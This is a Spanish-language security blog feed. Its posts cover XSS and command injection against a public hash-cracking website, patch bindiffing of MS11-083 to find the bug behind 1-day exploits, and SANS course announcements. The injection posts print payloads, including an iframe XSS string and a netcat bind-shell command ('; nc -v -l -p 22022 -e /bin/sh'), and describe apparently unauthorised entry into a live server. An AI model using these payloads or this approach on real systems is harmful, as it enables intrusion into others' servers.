Espero que esta entrada haya servido para echarle un poco de imaginación a la hora de descubrir posibles vectores de inyección y para comprobar que todas las aplicaciones son susceptibles de tener alguna vulnerabilidad (hemos explotado tres vulnerabilidades diferentes a través del mismo parámetro).

Crackeando un Hash Cracker (II): CMDi

noreply@blogger.com (Julio Gómez) — Wed, 11 Jan 2012 06:18:00 +0000

Contribución de Julio Gómez: Continuamos el post de antes de ayer sobre como se puede crackear un hash cracker:

Después de haber utilizado la aplicación varias veces, vemos que los mensajes que devuelve en la salida son exactamente iguales a los de la herramienta que os comentaba al comienzo de la entrada. Además de que si consultamos la sección "What's this site?" dice específicamente que el sitio está basado en findmyhash.

Sabiendo que findmyhash es un script en Python que se llama desde la línea de comandos y que la aplicación web está implementada en PHP, podría ser que el sitio estuviera realizando alguna llamada al sistema de la forma:

exec ("python findmyhash.py " . $_POST['encrypt-method'] . " -h " . $_POST['hash']);

Sabiendo que el servidor que utiliza es un Apache sobre Debian (se puede ver en la cabecera Server de la respuesta HTTP), se me ocurre probar una inyección de comandos en Linux. Algo parecido a "; ls":

La salida aparece estar acotada a un espacio demasiado limitado para poder hacer un 'cat' de algún fichero o utilizar cualquier otro comando cuya salida sea de más de unas pocas líneas. Sería genial si tuvieran instalado el netcat para ponerlo a escuchar en algún puerto y tener una shell...

; nc -v -l -p 22022 -e /bin/sh

Si no lo hubiera tenido hubiéramos podido hacer otras cosas, pero en este caso ha sido mucho más fácil de lo que esperábamos, con el netcat instalado, todos los puertos abiertos, etc.

Una vez dentro, le podemos pegar un vistazo al código de la aplicación y confirmar que codifican los parámetros de entrada con la función de PHP 'htmlentities' para tratar de prevenir los Cross Site Scripting, pero por desgracia para el desarrollador, no solo existen los XSS.

Nota Jose Selvi: Como nota curiosa, cuando estuvimos pegándole un vistazo a la aplicación a ver lo que hacía, vimos que guardaba en una base de datos local cada hash que se le introducía y contraseña exitosa calculada. En este caso no guardaba ninguna información más, pero podría estar guardando la IP de origen, con lo cual estaríamos proporcionando a un desconocido las llaves de nuestra casa, y además le habríamos puesto la etiqueta con la dirección. Es necesario tener mucho cuidado cuando se usan servicios públicos de crackeo de contraseñas, ya que si se crackea con éxito, no sabemos que va a pasar con esa contraseña.

¿Hemos dicho que la aplicación almacena en base de datos? Quizá podríamos explotar una Inyección SQL... En el próximo post.

Crackeando un Hash Cracker (I): XSS con MD5

noreply@blogger.com (Julio Gómez) — Mon, 09 Jan 2012 06:39:00 +0000

Contribución de Julio Gómez: Empezamos el año con una contribución de Julio Gómez, compañero mio en el departamento de auditoría de S21sec y redactor del blog "La X Marca el Lugar" junto con otros compañeros. En su colaboración, va a destripar una de estas webs que ofrecen la posibilidad de introducirles un hash y que te devuelven su contraseña, que como veremos sufre algunos problemillas de seguridad, algo que no deja de ser gracioso teniendo en cuenta su función:

Cada vez es más habitual que la seguridad sea una característica a tener en cuenta durante los desarrollos de cualquier tipo de software. Dentro del ámbito de las aplicaciones web, es muy frecuente que los desarrolladores estén familiarizados con los términos Cross Site Scripting o Inyección de Código SQL. El problema es que, en muchos casos, no terminan de comprender del todo los diferentes tipos de vulnerabilidades y se conforman con seguir algún manual de buenas prácticas.

Éste es el caso de una aplicación web que recientemente me he encontrado en Internet y con la que no tengo nada que ver aunque haya gente que piense que está relacionada con una herramienta (findmyhash) que publiqué durante 2011.

La aplicación es un muy simple. Tan sólo tiene un formulario en el que se puede introducir un hash de cualquiera de los tipos soportados. Tras hacerlo, la aplicación parece que busca en varios servicios públicos de Internet el hash para tratar de recuperar el valor de la cadena que genera dicho hash.

Jugando un poco con la aplicación, intentando probar si es vulnerable a Cross Site Scripting, se puede comprobar que parece que filtra correctamente las entradas.

Cuando por mi profesión tengo que recomendar cómo prevenir los Cross Site Scripting en una aplicación web, siempre recomiendo que por un lado se validen todas las entradas de la aplicación y que, además, los valores dinámicos que se generen sean codificados utilizando HTML entities.

En la práctica, la realidad es que tan sólo se suelen validar las entradas que provengan directamente del usuario y no en todos los casos los desarrolladores se acuerdan de codificar las salidas. En el caso de esta aplicación en cuestión, las entradas de usuario están convenientemente validadas y codificadas, pero ¿y las salidas?

Partiendo de la base de que "no sabemos" (luego veremos que sí) cómo funciona la aplicación a nivel interno. Si seguimos trasteando vemos que nos devuelve si ha sido o no capaz de romper el hash y, de hacerlo, nos indica la cadena original que genera dicho hash.

No sé si ya habréis intuido por dónde voy... Las entradas se validan correctamente, pero ¿y si introducimos un hash que se corresponda con alguna cadena HTML? ¿Estarán codificando también la salida de la aplicación?

Si probamos a introducir hashes correspondientes a cadenas de inyección típicas (<script>alert("XSS")</script>) vemos que directamente la aplicación no es capaz de romperlas. Que por otro lado tiene sentido porque este tipo de aplicaciones suelen utilizarse para romper contraseñas y ¿quién utiliza como contraseña un vector de inyección para XSS? (que por otro lado sería una contraseña bastante buena...)

No obstante, como en la respuesta de la aplicación nos muestra algunos de los servicios que utiliza, al cabo de un rato de investigar encontramos uno que nos permite no sólo romper un hash, sino calcular uno nuevo a partir de una cadena. De este modo, se queda almacenada en su base de datos la cadena original y el hash asociado.

Para el ejemplo, he utilizado la cadena:

<iframe src="http://www.bing.com" style="position:absolute;z-index:200;display:inline;"></iframe>

cuyo MD5 es:

e8de8366340de0d9bda9858e97b42573

Si ahora probamos a introducir este MD5 en el buscador... ¡Bingo! La aplicación no codifica las salidas correctamente. Tenemos un Cross Site Scripting en toda regla, aunque algo rebuscado y de poca utilidad en un caso real.

Ahora que hemos conseguido realizar un XSS de esta forma un tanto alternativa, podemos irnos a probar otro tipo de vulnerabilidades en la página. Pero eso en el post de mañana.

Patch Bindiffing (II)

noreply@blogger.com (Jose Selvi) — Mon, 21 Nov 2011 06:42:00 +0000

La semana pasada nos quedamos en un anterior post con que habíamos analizado un parche y habíamos descubierto que ficheros del sistema habían sido añadidos o actualizados.

Ahora nos quedaba la segunda parte, que es... ¿qué modificaciones se han hecho sobre estos binarios?

Para hacer esto tendremos que coger las dos versiones del binario, librería, o en este caso driver, y emplear alguna de las herramientas que existen para hacer este análisis diferencial.

Para este caso concreto he usado una extensión de IDA, desarrollada por Tenable, llamada patchdiff2, y que os podeis descargar de forma completamente gratuita aquí.

Hay otras extensiones para IDA que realizan estas mismas acciones. Vierito5 publicó hace tiempo en su blog una lista de extensiones recomendadas para IDA en las que, además de otras muchas extensiones de todo tipo, podemos encontrar varias opciones para realizar bindiffing.

Para añadir uno de estas extensiones únicamente hay que buscar el directorio "plugins" dentro del directorio de IDA. Lo reconoceremos porque veremos que tiene dentro ficheros con extensión "*.pmc", que son exactamente como los que nos vendrán en el zip del patchdiff2. Dejamos los "pmc" del patchdiff2 en este directorio y ya tendremos completamente disponible la extensión la próxima vez que arranquemos IDA.

Para poder utilizar el bindiffing es necesario que este se haga a partir de los ficheros "*.idb" de IDA, que es un formato propio de esta herramienta en el que podemos guardar el análisis que realiza la herramienta sobre un binario concreto. Para ello, abrimos el primero de los binarios (tcpip-old.sys) y dejamos que IDA lo pre-procese, y cuando acabe de hacerlo cerramos y elegimos guardar la base de datos, con lo que se nos generará un fichero tcpip-old.idb, que usaremos a continuación.

Ahora abrimos de nuevo IDA pero esta vez elegimos analizar tcpip-new.sys, y dejamos de nuevo que IDA lo pre-procese. Una vez que acabe nos vamos al menú "Edit" y a "Plugins", y elegimos el plugin "PatchDiff2", con lo que se nos abrirá una ventana para elegir con que otro fichero "*.idb" lo queremos comparar. Elegimos tcpip-old.idb y lo dejamos que realice el bindiffing.

Al hacer esto, veremos que nos salen tres pestañas nuevas:

Identical Functions: Son aquellas que han sido detectadas como idénticas en ambos binarios, es decir, no han cambiado al hacer el bindiffing.
Unmatched Functions: Son aquellas de las que, teóricamente, no se ha podido encontrar una función equivalente en el otro binario. Generalmente suele tratarse de funciones nuevas, aunque es muy común que nos encontremos muchas funciones idénticas pero que por algún motivo no se han hecho match. La columna CRC nos puede dar una pista sobre esto.
Matched Functions: Son aquellas que han sido detectadas como que son las mismas, pero que han sufrido alguna modificación

Sabiendo esto, y dado que nos estamos centrando en un bindiffing, podemos asumir que las funciones que han hecho match completo no nos interesan, y que las unmatched que tengan un CRC idéntico o que sean completamente nuevas, tampoco nos interesan (a priori, si notamos que nos falta información volveremos atrás), ya que las funciones nuevas tienen que ser llamadas desde ningún sitio, así que su "origen" lo vamos a tener pillado a través de las funciones "matched".

En este caso, tenemos cinco funciones que parecen haber sido modificadas por el parche, así que alguna de ellas tiene que haber sido la que corrige la vulnerabilidad, o quizá una combinación de varias de ellas.

Para poder ver los cambios exactos introducidos en cada una de ellas, deberemos seleccionar la función y pulsar con el botón secundario del ratón para que nos salga el menú, y elegiremos la opción "Display Graphs".

Una vez que vemos gráficamente la función, vemos de una forma muy clara las modificaciones realizada, ya que el código se encuentra separado en bloques con un código de colores que nos proporciona información sobre estos cambios:

Blanco: Bloques idénticos, es decir, no se ha producido ningún cambio en ellos.
Gris: Bloques "unmatched", generalmente trozos nuevos de código que serán llamados desde algún otro bloque modificado.
Rojo: Bloques "matched", es decir, que han sufrido algún tipo de modificación.

No os puedo remitir a la documentación de PatchDiff2 para más información, ya que al menos yo no he encontrado ninguna fuente oficial, pero podeis encontrar información buscando en Google, o sencillamente jugando un poco con ella, ya que permite hacer correcciones sobre el análisis automático que hace, es decir, podeis pasar de "unmatched" a "matched" una función, y cosas así.

En el próximo post, veremos cada una de estas funciones, a ver que cambios concretos ha realizado el parche, a ver si conseguimos averiguar en que consiste la vulnerabilidad que parchea.

Encuesta: Cursos del SANS Institute en España

noreply@blogger.com (Jose Selvi) — Wed, 16 Nov 2011 16:56:00 +0000

Como ya se comentó en el anterior post, publicamos una encuesta sobre los cursos y modalidades del SANS Institute más demandadas, con el fin de plantear los cursos de 2012 en adelante.

Os pido que, al completar el formulario, seais sinceros con respecto a los cursos y modalidades a los que OS APUNTARIAIS, no solo los que os interesan, sino en los que realmente existen altas probabilidades de que pudiéramos contar con vosotros como alumnos. Toda la información sobre cursos, modalidades, precios, etc, se puede encontrar aquí. La descripción de muchos cursos aún no está, pero podéis mirarlo directamente en la web del SANS, o simplemente completar el formulario más adelante.

ENCUESTA AQUÍ

Patch Bindiffing (I)

noreply@blogger.com (Jose Selvi) — Mon, 14 Nov 2011 08:28:00 +0000

Todos sabemos, más que nada por lo mediáticos que son, lo que son las vulnerabilidades/exploits 0-day, que son vulnerabilidades descubiertas por alguien que no notifica al creador del producto, sino que utiliza el exploit para su propio provecho, o simplemente lo publica en full-disclosure, antes de que pueda prepararse un parche.

Otro tipo de exploits que podamos encontrar son los 1-day. La explotabilidad de los 1-day está muy estrechamente relacionada con la lentitud de algunas personas o entidades en aplicar los parches de seguridad. Una vez que el fabricante del producto saca un parche, aunque no proporcione mucha información acerca de la vulnerabilidad, dicho parche es analizado para obtener toda esa información, y de este modo poder tener un exploit funcional para dicha vulnerabilidad. Si esto se consigue en un día o en unos pocos días (de ahí su nombre), podemos decir casi con seguridad que habrá muchas potenciales víctimas que no tendrán parcheados sus sistemas.

Para ejemplificar esto, vamos a utilizar la vulnerabilidad MS-11-083, publicada por Microsoft la semana pasada y que, según parece, podría provocar ejecución remota de código mediante el envio de paquetes UDP en sistemas Windows 7 y Windows 2008.

Para poder hacer un Bindiffing, lo primero que tenemos que hacer es obtener dos binarios sobre los que hacer el diffing, ¿verdad? ¿cómo conseguimos esto? Siguiendo estos pasos:

Instalamos un Windows 7 (en este caso) en una máquina virtual y lo actualizamos hasta que nos aparezca para actualizar el parche en cuestión que queremos analizar. Éste no lo instalamos.
Nos descargamos e instalamos en la máquina el RegShot o alguna herramienta similar, que nos sirva para tomar snapshot fichero a fichero de todo el sistema.
Hacemos un Snapshot completo de la máquina virtual.
Lanzamos RegShot para hacer un Snapshot de todos los ficheros. Por comodidad, ya que sabemos que es un parche de sistema, le podemos decir que busque solo en C:\Windows, que siempre irá más rápido que hacer Snapshot de todo el disco. Elegimos la opción "shot and save" para que nos guarde el snapshot en un fichero, ya que este parche necesita reiniciar y sino perderemos el estado.
Instalamos el parche. Nos pedirá que reiniciemos.
Volvemos a lanzar RegShot, pero esta vez en la opción "1st shot" elegimos "load" y cargamos el snapshot que hicimos antes de reiniciar. Hacemos el segundo shot (2nd shot, shot) y cuando acabe pulsamos sobre "Compare" para que nos saque las diferencias.

En otro tipo de parches puede resultar mucho más inmediato ver los ficheros modificados, pero en este caso, con un reinicio de por medio, va a haber muchísimos registros y ficheros modificados. Veremos un montón de temporales del parche que acabamos de instalar, prefetchs, ficheros de logs, y un montón de registros, pero debemos pasar de toda esa "paja" e intentar ir a la sección de ficheros modificados y buscar aquellos que estén en un path que nos hagan ver que se trata de un fichero del sistema:

[...]
----------------------------------
Files [attributes?] modified:133
----------------------------------
[...]
C:\Windows\System32\drivers\tcpip.sys
C:\Windows\System32\LogFiles\Scm\729f4f57-2181-4edb-bb11-79c7914d10dc
C:\Windows\System32\LogFiles\Scm\9b75c702-ea13-406a-badb-6c588ee4375b
C:\Windows\System32\LogFiles\Scm\a1cfa52f-06f2-418d-addb-cd6456d66f43
C:\Windows\System32\LogFiles\Scm\a316e645-1c56-45a6-bd6a-7dca79778090
[...]

El resultado tiene sentido, vemos que ha modificado el driver tcpip.sys, que presumiblemente es el que contiene la vulnerabilidad. En este caso solo he podido apreciar un fichero (aunque hay gente por ahí que habla de dos, pero yo en Windows 7 solo he visto uno), así que lo que nos queda ahora por hacer es copiarlo fuera de la máquina virtual, y llamarlo tcpip-new.sys para diferenciarlo del original.

Para finalizar, restauramos el Snapshot de la máquina virtual al estado previo a la aplicación del parche que queremos analizar y buscamos estos mismos ficheros que hemos encontrado que han sido modificados, en este caso tcpip.sys, y lo copiamos de nuevo fuera de la máquina virtual, esta vez con el nombre tcpip-old.sys, para no confundirlo con el anterior.

Una vez hecho esto, ya tenemos la version anterior y posterior al parche de los ficheros modificados pero... ¿cómo sabemos ahora que cambios concretos se han hecho a cada fichero?

Lo veremos en el próximo post.

SANS Institute: Explicaciones

noreply@blogger.com (Jose Selvi) — Mon, 07 Nov 2011 10:58:00 +0000

En mi experiencia como Mentor y también alumno del SANS Institute, diría que todos pasamos por una primera etapa en la que nos perdemos un poco cuando buscamos información sobre cursos y modalidades de esta entidad. Perdí ya la cuenta hace mucho tiempo de la cantidad de correos que me llegan de gente que ha estado buceando por la web del SANS, y no se sabe muy bien si por su organización, por el idioma, o por una combinación de ambas, no consiguen comprender como tienen que proceder para hacer alguno de sus cursos.

Pensando en esto, y en la cantidad de veces que he copiado y pegado mis propios correos, he decidido publicar una pequeña "guía SANS" en Español que podéis encontrar AQUÍ, en donde se explican las diferentes modalidades de los cursos, y las que suelen ser mis recomendaciones habituales según el caso, con lo que espero que pueda ayudar a toda la gente que se encuentra perdida saltando entre las webs de SANS y GIAC, o por lo menos ahorrarme escribir en los correos siempre la misma explicación xD

También he añadido una descripción de cada curso de los que conozco, así como los cursos que en la actualidad tengo conocimiento de que estén teniendo lugar en España, pero si eres un Mentor, Community Instructor o Instructor del SANS y quieres aportar una descripción para tu curso, o corregir alguna de la información que he dado sobre los cursos disponibles, por favor ponte en contacto conmigo.

En unos pocos días sacaré también una encuesta de interés por los cursos de SANS, en los que podréis todos marcar, ahora que conoceréis bien las diferentes opciones, que cursos serían de vuestro interés, en que modalidades y en que ciudades, para que de este modo podamos plantear mejor con SANS que cursos montar de cara al 2012 que ya nos acecha.

Cualquier comentario sobre lo escrito, algo que no se entienda, o necesidad de ampliación de alguna parte, estoy completamente abierto a sugerencias.